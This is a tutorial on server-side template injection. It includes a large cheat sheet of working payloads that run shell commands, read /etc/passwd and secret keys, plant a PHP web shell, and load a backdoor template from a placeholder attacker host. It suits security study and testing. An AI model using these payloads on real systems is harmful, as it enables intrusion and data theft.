What is SSTI?
Server-Side Template Injection
is a vulnerability where an attacker injects malicious code into a template to execute commands on the server side. This vulnerability arises when incorrect user code is injected into the template creation mechanism, which often leads to Remote Code Execution (RCE)
.
Template engines are designed to merge templates with data models to create resulting documents that assist in displaying dynamic data on web pages. Template engines can be used to showcase information about users, products, and more.
Some of the most popular template engines can be listed as follows:
PHP
– Smarty, TwigsJAVA
– Velocity, FreeMarkerPython
– JINJA, Mako, TornadoJavaScript
– Jade, RageRuby
– Liquid
When input data validation isn’t handled properly on the server side, it can result in a payload being executed for SSTI, which can lead to remote code execution.
How does it work?
For simplicity, imagine you are testing the parameter of the following request:
POST /some-endpoint HTTP/1.1 Host: vulnerable-website.com parameter=value
To detect the vulnerability, use the polyglot payload as the parameter value, which represents a sequence of special characters, such as the following:
POST /some-endpoint HTTP/1.1 Host: vulnerable-website.com parameter=${{<%[%'"}}%\.
To identify the template creation mechanism, read the error message:
If the error message doesn’t display the template engine, we can test it using known syntaxes for popular template engines:
=${7*3} ={{7*3}} =<%= 7*3 %>
Refer to the documentation for the template engine (in this case, Django) and use the following payload to read debug output data:
POST /some-endpoint HTTP/1.1 Host: vulnerable-website.com parameter={% debug %}
The output data will contain a list of objects and properties accessible from this template:
Read the secret key using the available ‘settings’ object:
POST /some-endpoint HTTP/1.1 Host: vulnerable-website.com parameter={{settings.SECRET_KEY}}
What’s the impact of SSTI?
The impact of template injection vulnerabilities is typically critical, leading to RCE by gaining full control over the internal server. Even without executing code, an attacker can access confidential data on the server. There are rare cases where an SSTI vulnerability might not be critical, depending on the template engine.
How to detect the vulnerability?
To detect the vulnerability, use a Polyglot payload composed of special characters commonly used in template expressions to blur the template.
${{<%[%'"}}%\.
If a vulnerability is detected, an error message might be returned, or the server could raise an exception. This can be used to identify the vulnerability and the template engine being used.
The following cheat sheet can be used to determine the template engine:
Tool for Automatic Detection and Exploitation of SSTI
Tplmap aids in exploiting server-side template injection vulnerabilities by utilizing various methods to escape sandboxed environments and gain access to the underlying operating system.
The tool and its suite of tests are designed to explore the class of SSTI vulnerabilities and can be utilized as defensive measures during penetration testing of web applications.
Cheatsheet
-------------------------------------------------------------------- Polyglot: ${{<%[%'"}}%\ -------------------------------------------------------------------- FreeMarker (Java): ${7*7} = 49 <#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") } -------------------------------------------------------------------- (Java): ${7*7} ${{7*7}} ${class.getClassLoader()} ${class.getResource("").getPath()} ${class.getResource("../../../../../index.htm").getContent()} ${T(java.lang.System).getenv()} ${product.getClass().getProtectionDomain().getCodeSource().getLocation( ).toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")} -------------------------------------------------------------------- Twig (PHP): {{7*7}} {{7*'7'}} {{dump(app)}} {{app.request.server.all|join(',')}} "{{'/etc/passwd'|file_excerpt(1,30)}}"@ {{_self.env.setCache("ftp://attacker.net:2121")}} {{_self.env.loadTemplate("backdoor")}} -------------------------------------------------------------------- Smarty (PHP): {$smarty.version} {php}echo `id`;{/php} {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())} -------------------------------------------------------------------- Handlebars (NodeJS): wrtz{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('whoami');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} -------------------------------------------------------------------- Velocity: #set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end ------------------------------------------------------------------- ERB (Ruby): <%= system("whoami") %> <%= Dir.entries('/') %> <%= File.open('/example/arbitrary-file').read %> -------------------------------------------------------------------- Django Tricks (Python): {% debug %} {{settings.SECRET_KEY}} -------------------------------------------------------------------- Tornado (Python): {% import foobar %} = Error {% import os %}{{os.system('whoami')}} -------------------------------------------------------------------- Mojolicious (Perl): <%= perl code %> <% perl code %> -------------------------------------------------------------------- Flask/Jinja2: Identify: {{ '7'*7 }} {{ [].class.base.subclasses() }} # get all classes {{''.class.mro()[1].subclasses()}} {%for c in [1,2,3] %}{{c,c,c}}{% endfor %} -------------------------------------------------------------------- Flask/Jinja2: {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} -------------------------------------------------------------------- Jade: #{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout} -------------------------------------------------------------------- Razor (.Net): @(1+2) @{// C# code} --------------------------------------------------------------------